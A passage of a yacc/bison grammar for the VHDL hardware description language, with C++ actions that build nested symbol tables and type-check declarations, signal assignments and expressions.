table->add_symbol($2,Proc,UnknownD); } | PROCEDURE designator { table->other_tab = new SymTab; SymTab *temp= table; table=table->other_tab; table->header= temp; } '(' interface_list ')' { table->header->add_symbol($2,Proc,table); } | func_head FUNCTION designator RETURN mark { Type *t= search(table,$5); table->add_symbol($3,Function,t->datatype()); table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; } | func_head FUNCTION designator { table= new_table(table); } '(' interface_list ')' RETURN mark { Type *t= search(table,$9); table->header->add_symbol($3,Function,t->datatype(),table); delete t; } ; func_head : | PURE | IMPURE ; subprogram_body: subprogram_specification IS subprogram_declarative_part VBEGIN subprogram_statement_part END subprog_tail ';' { SymTab *temp= table->header; delete table; table= temp; } | subprogram_specification IS subprogram_declarative_part VBEGIN subprogram_statement_part END subprog_tail designator ';' { Type *t= search(table,$8); delete t; SymTab *temp= table->header; delete table; table= temp; } ; subprog_tail : | PROCEDURE | FUNCTION ; subprogram_statement_part : | subprogram_statement_part sequential_statement ; designator : ID { $$= $1; } | STRLIT { $$= $1; } ; subprogram_declarative_part : | subprogram_declarative_part subprogram_declarative_item ; subprogram_declarative_item : subprogram_declaration | subprogram_body | type_declaration | subtype_declaration | constant_declaration | variable_declaration | file_declaration | alias_declaration | attribute_declaration | label_declaration | attribute_specification | use_clause | group_template_declaration | group_declaration ; type_declaration : full_type_declaration | incomplete_type_declaration ; full_type_declaration : TYPE ID { table->other_tab= new SymTab; SymTab *temp= table; table= table->other_tab; table->header= temp; } IS type_definition ';' { SymTab *temp= table->header; table= temp; table->add_symbol($2,TypeN,$5->datatype()); } ; incomplete_type_declaration : TYPE ID ';' { table->add_symbol($2,TypeN,UnknownD); } ; type_definition: scalar_type_definition { $$= $1; } | composite_type_definition { $$= $1; } | access_type_definition { $$= $1; } | file_type_definition { $$= $1; } ; scalar_type_definition : enumeration_type_definition { $$= $1; } | integer_floating_type_definition { $$= $1; } | physical_type_definition { $$= $1; } ; composite_type_definition : array_type_definition { $$= $1; } | record_type_definition { $$= $1; } ; constant_declaration : CONSTANT identifier_list ':' subtype_indication ';' { while(h->next){ Type *t= new Type(Constant,$4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } | CONSTANT identifier_list ':' subtype_indication { while(h->next){ Type *t= new Type(Constant, $4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } ASSIGN expression ';' { if( $4->isArray() && ($7->datatype() != $4->Subtype()) && !( $7->isError() || $4->isError()) ) { errmsg(" wrong type value assigned to constant"); } else if( !$4->isArray() &&($7->datatype() != $4->datatype()) && !( $7->isError() || $4->isError()) ){ errmsg(" wrong type value assigned to constant"); } } ; identifier_list: ID { l->str= $1; l= l->next= new cell; l->next= NULL; } | identifier_list ',' ID { l->str= $3; l= l->next= new cell; l->next= NULL; } ; signal_declaration : SIGNAL identifier_list ':' subtype_indication ';' { while(h->next){ Type *t= new Type(Signal, $4->datatype(), $4->Subtype()); table->add_symbol(h->str,t); delete t; h= h->next; } } | SIGNAL identifier_list ':' subtype_indication signal_kind ';' { while(h->next){ Type *t= new Type(Signal, $4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } | SIGNAL identifier_list ':' subtype_indication { while(h->next){ Type *t= new Type(Signal, $4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } ASSIGN expression ';' sigtail { if( $7->datatype()!=$4->datatype() ) errmsg(" wrong type value assigned to signal"); } | SIGNAL identifier_list ':' subtype_indication signal_kind { while(h->next){ Type *t= new Type(Signal, $4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } ASSIGN expression ';' sigtail { if( $8->datatype()!=$4->datatype() ) errmsg(" wrong type value assigned to signal"); } ; sigtail : | AT INPUT '<' delay_spec '>' | AT OUTPUT '<' delay_spec '>' ; delay_spec : delay_bound ';' delay_bound ; delay_bound : INT ',' INT | INT ',' INF ; signal_kind : REGISTER | BUS ; variable_declaration : var_decl_head VARIABLE identifier_list ':' subtype_indication ';' { Type *t; while(h->next){ if( $5->isArray() ){ t= new Type(Variable, $5->Subtype()); } else t= new Type(Variable, $5->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } | var_decl_head VARIABLE identifier_list ':' subtype_indication { while(h->next){ Type *t; if( $5->isArray() ) t= new Type(Variable, $5->Subtype()); else t= new Type(Variable, $5->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } ASSIGN expression ';' { if( $5->isArray() && ($8->datatype() != $5->Subtype()) && !( $8->isError() || $5->isError()) ) { errmsg(" wrong type value assigned to variable"); } else if( !$5->isArray() && ($8->datatype() != $5->datatype()) && !( $8->isError() || $5->isError()) ){ errmsg(" wrong type value assigned to variable"); } } ; var_decl_head : | SHARED ; file_declaration : VFILE identifier_list ':' subtype_indication ';' { while(h->next){ Type *t= new Type(FileN, $4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } | VFILE identifier_list ':' subtype_indication { while(h->next){ Type *t= new Type(FileN, $4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } external_file_association ';' ; file_access_mode : | OPEN expression ; external_file_association : file_access_mode IS file_logical_name | file_access_mode IS mode file_logical_name ; file_logical_name : name {} //expression revised on July/1/1996. ; alias_declaration : ALIAS alias_name al_decl_head IS name al_decl_tail ';' { Type *t= search(table,$5); table->add_symbol($2,$3); } ; alias_name : ID { $$= $1; } | CHARLIT { $$= $1; } | STRLIT { $$= $1; } ; al_decl_head : { $$= new Type(UnknownN,UnknownD,UnknownD); } | ':' subtype_indication { $$= $2; } ; al_decl_tail : signature | ; signature_symbol : | signature ; signature : '[' signature_body signature_tail ']' | '[' signature_tail ']' ; signature_body : name { Type *t= search(table,$1); delete t; } | signature_body ',' name { Type *t= search(table,$3); delete t; } ; signature_tail : | RETURN name ; component_declaration : COMPONENT ID { table= new_table(table); } component_declaration_tail { SymTab *temp= table; table= table->header; table->add_symbol($2,Component,temp); } ; component_declaration_tail : comp_decl_head END COMPONENT comp_decl_tail ';' | comp_decl_head generic_clause END COMPONENT comp_decl_tail ';' | comp_decl_head port_clause END COMPONENT comp_decl_tail ';' | comp_decl_head generic_clause port_clause END COMPONENT comp_decl_tail ';' ; comp_decl_head : | IS ; comp_decl_tail : | ID { Type *t= search(table,$1); t->checktype(Component,UnknownD); delete t; } ; attribute_declaration : ATTRIBUTE ID ':' ID ';' { Type *t= search(table,$4); Type *temp= new Type(Attribute,t->datatype()); table->add_symbol($2,temp); delete t,temp; } ; attribute_specification : ATTRIBUTE ID { Type *t= search(table,$2);//table->lookup($2); delete t; } OF entity_specification IS expression ';' ; entity_specification : entity_name_list ':' entity_class ; entity_name_list : entity_name_sequence | OTHERS | ALL ; entity_name_sequence : entity_designator signature_symbol | entity_name_sequence ',' entity_designator signature_symbol ; entity_designator : ID { Type *t= search(table,$1); delete t; } | STRLIT {} | CHARLIT {} ; entity_class : ENTITY | ARCHITECTURE | CONFIGURATION | PROCEDURE | FUNCTION | PACKAGE | TYPE | SUBTYPE | CONSTANT | SIGNAL | VARIABLE | COMPONENT | LABEL | LITERAL | UNITS | GROUP | VFILE ; configuration_specification : FOR component_specification binding_indication ';' ; component_specification : instantiation_list ':' name { Type *t= search(table,$3);//table->lookup($3); delete t; } ; instantiation_list : component_list | OTHERS | ALL ; component_list : ID { Type *t= search(table,$1);//table->lookup($1); delete t; } | component_list ',' ID { Type *t= search(table,$3);//table->lookup($3); delete t; } ; binding_indication : | USE entity_aspect | USE entity_aspect generic_map_aspect | USE entity_aspect port_map_aspect | USE entity_aspect generic_map_aspect port_map_aspect | generic_map_aspect | port_map_aspect | generic_map_aspect port_map_aspect ; entity_aspect : ENTITY name { search(table,$2); } | CONFIGURATION name { FILE *temp= NULL;//fopen(strcat($2, ".sim"),"r"); if( temp ) cout<<"can not find the configuration"; } | OPEN ; generic_map_aspect : GENERIC MAP '(' association_list ')' ; port_map_aspect: PORT MAP '(' association_list ')' ; disconnection_specification : DISCONNECT guarded_signal_specification AFTER expression ';' ; guarded_signal_specification : signal_list ':' ID //mark { Type *t= search(table,$3);//table->lookup($3); delete t; } ; signal_list : signal_id_list | OTHERS | ALL ; signal_id_list : ID { table->add_symbol($1,UnknownN,UnknownD); } | signal_list ',' ID { table->add_symbol($3,UnknownN,UnknownD); } ; use_clause : USE_CLAUSE { yyparse(); } ; /* snsn : name { FILE *oldin= yyin; strcat($1,".vhd"); FILE *infile= fopen($1,"r"); if( !infile ) { cout<<" can not open file\n"; fclose(infile); YYABORT; } else { yyin= infile; yyparse(); fclose(yyin); } yyin= oldin; } | snsn ',' name {} ; */ initialization_specification : INITIALIZE signal_specification TO expression ';' ; signal_specification : signal_list ':' mark ; label_declaration : ID { table->add_symbol($1,UnknownN,UnknownD); } statement_name_list ';' ; statement_name_list : statement_name | statement_name_list ',' statement_name ; statement_name : ID { table->add_symbol($1,UnknownN,UnknownD); } | label_array ; label_array : ID { table->add_symbol($1,UnknownN,UnknownD); } index_constraint ; /* Type Definitions */ enumeration_type_definition : '(' ee ')' { $$= new Type(UnknownN,Enumeration); } ; ee : enumeration_literal { table->add_symbol($1,UnknownN,Enumeration); } | ee ',' enumeration_literal { table->add_symbol($3,UnknownN,Enumeration); } ; enumeration_literal : ID { $$= $1; } | CHARLIT { $$= $1; } ; integer_floating_type_definition /* int and float type syntactically same */ : range_constraint { $$= $1; } ; range_constraint : RANGE range { $$= $2; } ; range : attribute_name { $$= $1; } | simple_expression direction simple_expression { if( !($1->datatype() == $3->datatype()) && !($1->isError() || $3->isError()) ) errmsg("left and right hand side of 'to' and 'downto' should be integer"); } ; direction : TO | DOWNTO ; physical_type_definition : range_constraint UNITS base_unit_declaration sud END UNITS { $$= new Type(UnknownN,Physic); } | range_constraint UNITS base_unit_declaration sud END UNITS ID { $$= new Type(UnknownN,Physic); } ; sud : | sud secondary_unit_declaration ; base_unit_declaration : ID ';' { table->add_symbol($1,UnknownN,Physic); } ; secondary_unit_declaration : ID { table->add_symbol($1,UnknownN,Physic); } '=' physical_literal ';' ; array_type_definition : unconstrainted_array_definition { $$= new Type($1); } | constrained_array_definition { $$= new Type($1); } ; unconstrainted_array_definition : ARRAY '(' isd ')' OF subtype_indication { if( $6->isArray() ) $$= new Type(UnknownN,Array,$6->Subtype()); else $$= new Type(UnknownN,Array,$6->datatype()); } ; constrained_array_definition : ARRAY index_constraint OF subtype_indication { if( $4->isArray() ) $$= new Type(UnknownN,Array,$4->Subtype()); else $$= new Type(UnknownN,Array,$4->datatype()); } ; isd : index_subtype_definition | isd index_subtype_definition ; index_subtype_definition : mark RANGE BOX { Type *t= search(table,$1); /*if( !(t->isInt() || t->isError()) ) errmsg(" the index of array should be integer");*/ } ; index_constraint : '(' disdis ')' ; disdis : discrete_range | disdis ',' discrete_range ; record_type_definition : RECORD elde END RECORD { $$= new Type(UnknownN,Record); } | RECORD elde END RECORD ID { $$= new Type(UnknownN,Record); } ; elde : element_declaration | elde element_declaration ; element_declaration : identifier_list ':' subtype_indication ';' { while( h->next ){ table->add_symbol(h->str,UnknownN,$3->datatype()); h= h->next; } } ; access_type_definition : ACCESS subtype_indication { $$= new Type(UnknownN,Access,$2->datatype()); } ; file_type_definition : VFILE OF name {} | VFILE size_constraint OF name {} ; size_constraint: '(' expression ')' ; subtype_declaration : SUBTYPE ID IS subtype_indication ';' { Type *t= new Type(TypeN,$4->datatype(),$4->Subtype() ); table->add_symbol($2,t); } ; subtype_indication : mark { $$= search(table,$1); } | mark gen_association_list { $$= search(table,$1); } | subtype_indication1 { $$= $1; } ; subtype_indication1 : mark range_constraint { $$= search(table,$1); } | mark mark range_constraint { $$= search(table,$1); } | mark mark { $$= search(table,$1); } | mark mark gen_association_list { $$= search(table,$1); } ; discrete_range : range {} | subtype_indication { /*if( !$1->isInt() ) errmsg("the index of array should be integer");*/ } ; discrete_range1: simple_expression direction simple_expression { if( ($1->datatype() != $3->datatype()) && !($1->isError() || $3->isError()) ) { $$= new Type(ErrorN,ErrorD); errmsg(" the types on both sides of 'to' and 'downto' should be same"); } else $$= $1; } | subtype_indication1{ $$= $1; } ; /* Concurrent Statements */ concurrent_statement : block_statement { SymTab *temp= table->header; delete table; table= temp; } | process_statement { SymTab *temp= table->header; delete table; table= temp; } | concurrent_procedure_call | concurrent_assertion_statement | concurrent_signal_assignment_statement | component_instantiation_statement | generate_statement ; block_statement : block_label is_symbol block_header block_declarative_part VBEGIN block_statement_part END BLOCK ';' {} | block_label guarded_exp is_symbol block_header block_declarative_part VBEGIN block_statement_part END BLOCK ';' {} | block_label is_symbol block_header block_declarative_part VBEGIN block_statement_part END BLOCK ID ';' { Type *t= search(table,$9); delete t; } | block_label guarded_exp is_symbol block_header block_declarative_part VBEGIN block_statement_part END BLOCK ID ';' { Type *t= search(table,$10); delete t; } ; guarded_exp : '(' expression ')' { if( !($2->isBool() || $2->isError()) ) errmsg(" guarded block required a bollean expression"); } ; block_label : label BLOCK { table->other_tab = new SymTab; SymTab *temp= table; table=table->other_tab; table->header = temp; } ; is_symbol : | IS ; block_header : | generic_clause | generic_clause generic_map_aspect ';' | port_clause | port_clause { trans1= table; table= table->header;} port_map_aspect ';' { table= trans1;} | generic_clause port_clause | generic_clause port_clause port_map_aspect ';' | generic_clause generic_map_aspect ';' port_clause | generic_clause generic_map_aspect ';' port_clause port_map_aspect ';' ; block_declarative_part : | block_declarative_part block_declarative_item ; block_statement_part : | block_statement_part concurrent_statement ; block_declarative_item : subprogram_declaration | subprogram_body | type_declaration | subtype_declaration | constant_declaration | signal_declaration | file_declaration | alias_declaration | component_declaration | attribute_declaration | label_declaration | attribute_specification | initialization_specification | configuration_specification | disconnection_specification | use_clause | variable_declaration | group_template_declaration | group_declaration ; process_statement : process_head process_tail process_declarative_part VBEGIN process_statement_part END postpone PROCESS ';' | process_head process_tail process_declarative_part VBEGIN process_statement_part END postpone PROCESS ID ';' { Type *t= search(table,$9);//table->lookup($10); delete t; } ; process_head : PROCESS { table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; } | label PROCESS { table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; } | POSTPONED PROCESS { table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; } | label POSTPONED PROCESS { table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; } ; postpone : | POSTPONED ; process_tail : is_symbol | '(' sensitivity_list ')' is_symbol ; sensitivity_list : name { Type *t= search(table,$1); table->add_symbol($1,t); } | sensitivity_list ',' name { Type *t= search(table,$3); table->add_symbol($3,t); } ; process_declarative_part : | process_declarative_part process_declarative_item ; process_declarative_item : subprogram_declaration | subprogram_body | type_declaration | subtype_declaration | constant_declaration | variable_declaration | file_declaration | alias_declaration | attribute_declaration | label_declaration | attribute_specification | use_clause | group_template_declaration | group_declaration ; process_statement_part : | process_statement_part sequential_statement ; concurrent_procedure_call : procedure_call_statement | label procedure_call_statement | POSTPONED procedure_call_statement | label POSTPONED procedure_call_statement ; component_instantiation_statement : label COMPONENT name ';' { SymTab *temp= search1(table,$3); delete temp; } | label cmpnt_stmt_body generic_map_aspect ';' | label cmpnt_stmt_body port_map_aspect ';' | label cmpnt_stmt_body generic_map_aspect port_map_aspect ';'{} ; cmpnt_stmt_body: name { trans1= search1(table,$1); if( !trans1 ) errmsg(" can't find component"); } | COMPONENT name { trans1= search1(table,$2); if( !trans1 ) errmsg(" can't find component"); } | ENTITY name { if( !search1(table,$2) ) { errmsg(" entity name did not declared. EXIT abnormally!!"); YYABORT; } else trans1= search1(table,$2); } | CONFIGURATION name ; concurrent_assertion_statement : assertion_statement | label assertion_statement | POSTPONED assertion_statement | label POSTPONED assertion_statement ; concurrent_signal_assignment_statement : conditional_signal_assignment | selected_signal_assignment | label conditional_signal_assignment {} | label selected_signal_assignment {} | POSTPONED conditional_signal_assignment | POSTPONED selected_signal_assignment | label POSTPONED conditional_signal_assignment{} | label POSTPONED selected_signal_assignment {} ; conditional_signal_assignment : target LE options conditional_waveforms ';' { if( ($1->datatype() != $4->datatype()) && !($1->isError() || $4->isError()) ) errmsg(" the target and the assigned value have different types"); } ; target : name { Type *t= search(table,$1); if( t->isArray() ) $$= new Type(t->nametype(),t->Subtype()); else $$= t; } | aggregate { $$= $1; } ; options : | delay_mechanism | GUARDED | GUARDED delay_mechanism ; delay_mechanism : TRANSPORT | INERTIAL | VREJECT expression INERTIAL ; conditional_waveforms : waveform_head waveform { if( $1->isUnknown() ) $$= $2; else if( ($1->datatype() != $2->datatype()) && !($1->isError() || $2->isError()) ) { $$= new Type(ErrorN,ErrorD); errmsg(" the assigned values on right side of '<=' have different types"); } } | waveform_head waveform WHEN expression { if( !($4->isBool || $4->isError()) ) { errmsg(" the expression after 'when' is not boolean type"); $$= new Type(ErrorN,ErrorD); } else if( $1->isUnknown() ) $$= $2; else if( ($1->datatype() != $2->datatype()) && !($1->isError() || $2->isError()) ) { $$= new Type(ErrorN,ErrorD); errmsg(" the assigned values on right side of '<=' have different types"); } } ; waveform_head : { $$= new Type(UnknownN,UnknownD); } | waveform_head waveform WHEN expression ELSE { if( !($4->isBool || $4->isError()) ) { errmsg(" the expression after 'when' is not boolean type"); $$= new Type(ErrorN,ErrorD); } if( $1->isUnknown() ) $$= $2; else if( ($1->datatype() != $2->datatype()) && !($1->isError() || $2->isError()) ) { $$= new Type(ErrorN,ErrorD); errmsg(" different types on right side of '<='"); } } ; selected_signal_assignment : WITH expression SELECT target LE options selected_waveforms ';' { if( ($4->datatype() != $7->datatype()) && !($4->isError() || $7->isError()) ) errmsg(" the target and assigned valued have different types"); if( ($2->datatype() != $7->Subtype()) && !($2->isError() || ($7->Subtype()==ErrorD)) ) errmsg(" the types of expressons after 'when' and 'with' don't match"); } ; selected_waveforms : waveform WHEN choices { $$= new Type(UnknownN,$1->datatype(),$3->datatype()); } | selected_waveforms ',' waveform WHEN choices { if( ($1->datatype() != $3->datatype()) && !($1->isError() || $3->isError()) ) { errmsg(" the values on both sides of '<=' should be same types"); $$= new Type(UnknownN,ErrorD,ErrorD); } else if( ($1->Subtype() != $5->datatype()) && !(($1->Subtype()==ErrorD) || $5->isError() || $1->isUnknown() || $5->isUnknown()) ) { errmsg(" the selection after 'when' should be same types"); $$= new Type(UnknownN,ErrorD,ErrorD); } else $$= $1; } | { $$= new Type(ErrorN,ErrorD); } ; generate_statement : label generation_head generate_declarative_part concurrent_statement_sequence END GENERATE generate_tail ';' | label generation_head generate_declarative_part VBEGIN concurrent_statement_sequence END GENERATE generate_tail ';' ; generation_head: generation_scheme GENERATE { table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; } ; generate_tail : | ID { Type *t= search(table,$1); delete t; SymTab *temp= table->header; delete table; table= temp; } ; generate_declarative_part : generate_declarative_part block_declarative_item | ; concurrent_statement_sequence : concurrent_statement | concurrent_statement_sequence concurrent_statement ; generation_scheme : FOR parameter_specification | IF expression { if( !($2->isBool() || $2->isError()) ) errmsg(" the 'if' should be followed a boolean expression"); } ; parameter_specification : ID IN discrete_range {} ; /* Sequential Statements */ sequential_statement : wait_statement | assertion_statement | signal_assignment_statement | variable_assignment_statement | procedure_call_statement | if_statement | case_statement | loop_statement | next_statement | exit_statement | return_statement | null_statement | report_statement ; wait_statement : label_symbol WAIT ';' | label_symbol WAIT sensitivity_clause ';' | label_symbol WAIT condition_clause ';' | label_symbol WAIT timeout_clause ';' | label_symbol WAIT sensitivity_clause condition_clause ';' | label_symbol WAIT sensitivity_clause timeout_clause ';' | label_symbol WAIT sensitivity_clause condition_clause timeout_clause ';' | label_symbol WAIT condition_clause timeout_clause ';' ; condition_clause : UNTIL expression { if( !($2->isBool() || $2->isError()) ) errmsg(" the expression after 'until' is not boolean type"); } ; sensitivity_clause : ON sensitivity_list ; timeout_clause : FOR expression ; assertion_statement : ASSERT expression { if( !($2->isBool() || $2->isError()) ) errmsg(" the 'assert' should be followed a boolean expression"); } tralass ';' ; condition : expression { if( !($1->isBool() || $1->isError()) ) errmsg(" the expression following 'if' should be boolean type"); } ; tralass : | REPORT expression | SEVERITY ID { table->checkseverity($2); } | REPORT expression SEVERITY ID { table->checkseverity($4); } ; signal_assignment_statement : target LE delay_mechanism waveform ';' { if( ($1->datatype() != $4->datatype()) && !($1->isError() || $4->isError())) errmsg(" left and right sides of '<=' have defierent types"); } | target LE waveform ';' { if( ($1->datatype() != $3->datatype()) && !($1->isError() || $3->isError())) errmsg(" left and right sides of '<=' have defierent types"); } | label target LE delay_mechanism waveform ';' { if( ($2->datatype() != $5->datatype()) && !($2->isError() || $5->isError())) errmsg(" left and right sides of '<=' have defierent types"); } | label target LE waveform ';' { if( ($2->datatype() != $4->datatype()) && !($2->isError() || $4->isError())) errmsg(" left and right sides of '<=' have defierent types"); } ; waveform : waveform_element { $$= $1; } | waveform ',' waveform_element { if( ($1->datatype()== $3->datatype()) || !( $1->isError() || $3->isError()) ) $$= $1; else if( $1->isUnknown() ) $$= $3; } | UNAFFECTED { $$= new Type(UnknownN,UnknownD); } ; waveform_element : expression { $$= $1; } | expression AFTER expression { if( !($3->isPhysic() || $3->isError()) ) errmsg("the value following 'after' should be physical type"); $$= $1; } ; variable_assignment_statement : label target ASSIGN expression ';' { if( ($2->datatype() != $4->datatype()) && !($2->isError() || $4->isError())) errmsg(" left and right sides of ':=' have defierent types"); } | target ASSIGN expression ';' { if( ($1->datatype() != $3->datatype()) && !($1->isError() || $3->isError())) errmsg(" left and right sides of ':=' have defierent types"); } ; /* Adding label_symbol or association list creates conflicts */ procedure_call_statement : name ';' { /*Type *t= search(table,$1); delete t;*/ } ; if_statement : label_symbol IF condition THEN sequence_of_statements elsifthen else_part END IF ID ';' { Type *t= search(table,$10); delete t; } | label_symbol IF condition THEN sequence_of_statements elsifthen else_part END IF ';' ; else_part : | ELSE sequence_of_statements ; label_symbol : | label ; label : ID ':' { table->add_symbol($1,UnknownN,UnknownD); } ; elsifthen : | elsifthen ELSIF expression { if( !($3->isBool() || $3->isError()) ) errmsg(" the 'elsif' should be followed a boolean type"); } THEN sequence_of_statements ; sequence_of_statements : | sequence_of_statements sequential_statement ; case_statement : label_symbol CASE expression IS case_statement_alternative END CASE ID ';' { Type *t= search(table,$8); delete t; } | label_symbol CASE expression IS case_statement_alternative END CASE ';' ; case_statement_alternative : WHEN choices ARROW sequence_of_statements | case_statement_alternative WHEN choices ARROW sequence_of_statements ; loop_statement : label_symbol iteration_scheme LOOP sequence_of_statements END LOOP ';' { SymTab *temp= table->header; delete table; table= temp; } | label_symbol iteration_scheme LOOP sequence_of_statements END LOOP ID ';' { Type *t= search(table,$7); SymTab *temp= table->header; table= temp; } ; iteration_scheme : { table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; } | WHILE expression { table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; if( !($2->isBool() || $2->isError()) ) errmsg(" the 'when' should be followed a boolean type"); } | FOR ID IN discrete_range { table->other_tab = new SymTab; SymTab *temp = table; table=table->other_tab; table->header = temp; table->add_symbol($2,UnknownN,Int); } ; next_statement : label_symbol NEXT ';' | label_symbol NEXT ID ';' { Type *t= search(table,$3); delete t; } | label_symbol NEXT WHEN expression ';' { if( !($4->isBool() || $4->isError()) ) errmsg(" the 'when' should be followed a boolean type"); } | label_symbol NEXT ID { Type *t= search(table,$3); delete t; } WHEN expression ';' { if( !($6->isBool() || $6->isError()) ) errmsg(" the 'when' should be followed a boolean type"); } ; exit_statement : label_symbol EXIT ';' | label_symbol EXIT ID ';' { Type *t= search(table,$3); delete t; } | label_symbol EXIT WHEN expression ';' {if( !($4->isBool() || $4->isError()) ) errmsg(" the 'when' should be followed a boolean type"); } | label_symbol EXIT ID { Type *t= search(table,$3); delete t; } WHEN expression ';' { if( !($6->isBool() || $6->isError()) ) errmsg(" the 'when' should be followed a boolean type"); } ; return_statement : label_symbol RETURN ';' | label_symbol RETURN expression ';' ; null_statement : label_symbol VNULL ';' ; report_statement : label_symbol REPORT expression ';' | label_symbol REPORT expression SEVERITY ID ';' { table->checkseverity($5); } ; /* Interfaces and Associations */ interface_list : interface_declaration | interface_list ';' interface_declaration ; interface_declaration : interface_constant_declaration | interface_signal_declaration | interface_variable_declaration | interface_file_declaration | interface_unknown_declaration ; interface_constant_declaration : CONSTANT identifier_list ':' subtype_indication { while(h->next){ Type *t= new Type(Constant, $4->datatype(), $4->Subtype() ); table->add_symbol(h->str,t); delete t; h= h->next; } } assign_exp { if( ($4->datatype() != $6->datatype()) && !($4->isError() || $6->isError() || $6->isUnknown()) ) errmsg(" wrong type value assigned to a variable"); } | CONSTANT identifier_list ':' IN subtype_indication { while(h->next){ Type *t= new Type(Constant, $5->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } assign_exp { if( ($5->datatype() != $7->datatype()) && !($5->isError() || $7->isError() || $7->isUnknown()) ) errmsg(" wrong type value assigned to a constant"); } ; interface_signal_declaration : SIGNAL identifier_list ':' subtype_indication { while(h->next){ Type *t= new Type(Signal, $4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } bus_symbol assign_exp { if( ($4->datatype() != $7->datatype()) && !($4->isError() || $7->isError() || $7->isUnknown()) ) errmsg(" wrong type value assigned to a signal"); } | SIGNAL identifier_list ':' mode subtype_indication { while(h->next){ Type *t= new Type(Signal, $5->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } bus_symbol assign_exp { if( ($5->datatype() != $8->datatype()) && !($5->isError() || $8->isError() || $8->isUnknown()) ) errmsg(" wrong type value assigned to a signal"); } ; interface_variable_declaration : VARIABLE identifier_list ':' subtype_indication { while(h->next){ Type *t; if( $4->isArray() ) t= new Type(Variable, $4->Subtype()); else t= new Type(Variable, $4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } assign_exp { if( ($4->datatype() != $6->datatype()) && !($4->isError() || $6->isError() || $6->isUnknown()) ) errmsg(" wrong type value assigned to a variable"); } | VARIABLE identifier_list ':' mode subtype_indication { while(h->next){ Type *t= new Type(Variable, $5->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } assign_exp { if( ($5->datatype() != $7->datatype()) && !($5->isError() || $7->isError() || $7->isUnknown()) ) errmsg(" wrong type value assigned to a variable"); } ; bus_symbol : | BUS ; assign_exp : { $$= new Type(ErrorN,UnknownD); } | ASSIGN expression { $$= $2; } ; interface_unknown_declaration : identifier_list ':' subtype_indication { while(h->next){ Type *t= new Type(UnknownN, $3->datatype(), $3->Subtype()); table->add_symbol(h->str,t); delete t; h= h->next; } } bus_symbol assign_exp { if( ($3->datatype() != $6->datatype()) && !($3->isError() || $6->isError() || $6->isUnknown()) ) errmsg(" wrong type value assigned to a object"); } | identifier_list ':' mode subtype_indication { while(h->next){ Type *t= new Type(UnknownN, $4->datatype(), $4->Subtype()); table->add_symbol(h->str,t); delete t; h= h->next; } } bus_symbol assign_exp { if( ($4->datatype() != $7->datatype()) && !($4->isError() || $7->isError() || $7->isUnknown()) ) errmsg(" wrong type value assigned to a object"); } ; interface_file_declaration : VFILE identifier_list ':' subtype_indication_list { while(h->next){ Type *t= new Type(UnknownN,File,$4->datatype()); table->add_symbol(h->str,t); delete t; h= h->next; } } ; subtype_indication_list : subtype_indication { $$= $1; } //???????????? | subtype_indication_list ',' subtype_indication { $$= $3; } //???????? mode : IN | OUT | INOUT | BUFFER | LINKAGE ; gen_association_list : '(' gen_association_list_1 ')' ; gen_association_list_1 : gen_association_element | gen_association_list_1 ',' gen_association_element { if( ($1->datatype()!=$3->datatype()) && !($1->isError() || $3->isError()) ) errmsg(" left and right sides of ',' have different types"); } ; gen_association_element : expression { if( !$1->isArray() ) $$= $1; else if( $1->isArray() ) $$= new Type($1->nametype(),$1->Subtype(), UnknownD); } | discrete_range1 { $$= $1 ;} | formal_part ARROW actual_part { if( ($1->datatype()!=$3->datatype()) && !($1->isError() || $3->isError()) ) { $$= new Type(ErrorN,ErrorD); errmsg(" left and right sides of '=>' are different"); } else $$= $1; } | OPEN { $$= new Type(UnknownN,UnknownD); } ; association_list : association_element | association_list ',' association_element ; association_element : actual_part {} | formal_part ARROW actual_part { Datatype d1,d3; if( $1->isArray() ) d1= $1->Subtype(); else d1= $1->datatype(); if( $3->isArray() ) d3= $3->Subtype(); else d3= $3->datatype(); if( (d1 != d3) && (d3 !=UnknownD) && !($1->isError() || $3->isError()) ){ errmsg("left and right sides of '=>' have different types");} } ; formal_part : name { Type *t= search(trans1,$1); if( t->isArray() ) $$= new Type(t->nametype(), t->Subtype()); else $$= t; } ; actual_part : expression { if( $1->isArray() ) $$= new Type($1->nametype(), $1->Subtype()); else { $$= $1; } } | OPEN { $$= new Type(UnknownN,UnknownD); } ; /* Expressions */ expression : relation andexpr { if( ($1->datatype() != $2->datatype()) && !($1->isError() || $2->isError()) ) { errmsg(" different types on left and right side of 'and' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | relation orexpr { if( ($1->datatype() != $2->datatype()) && !($1->isError() || $2->isError()) ) { errmsg(" different types on left and right side of 'or' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | relation xorexpr { if( ($1->datatype() != $2->datatype()) && !($1->isError() || $2->isError()) ) { errmsg(" different types on left and right side of 'xor' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | relation NAND relation { if( ($1->datatype() != $3->datatype()) && !($1->isError() || $3->isError()) ) { errmsg(" different types on left and right side of 'nand' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | relation NOR relation { if( ($1->datatype() != $3->datatype()) && !($1->isError() || $3->isError()) ) { errmsg(" different types on left and right side of 'nor' operator"); $$= new Type(ErrorN,ErrorD); } else $$= $1; } | relation XNOR relation { if( ($1->datatype() != 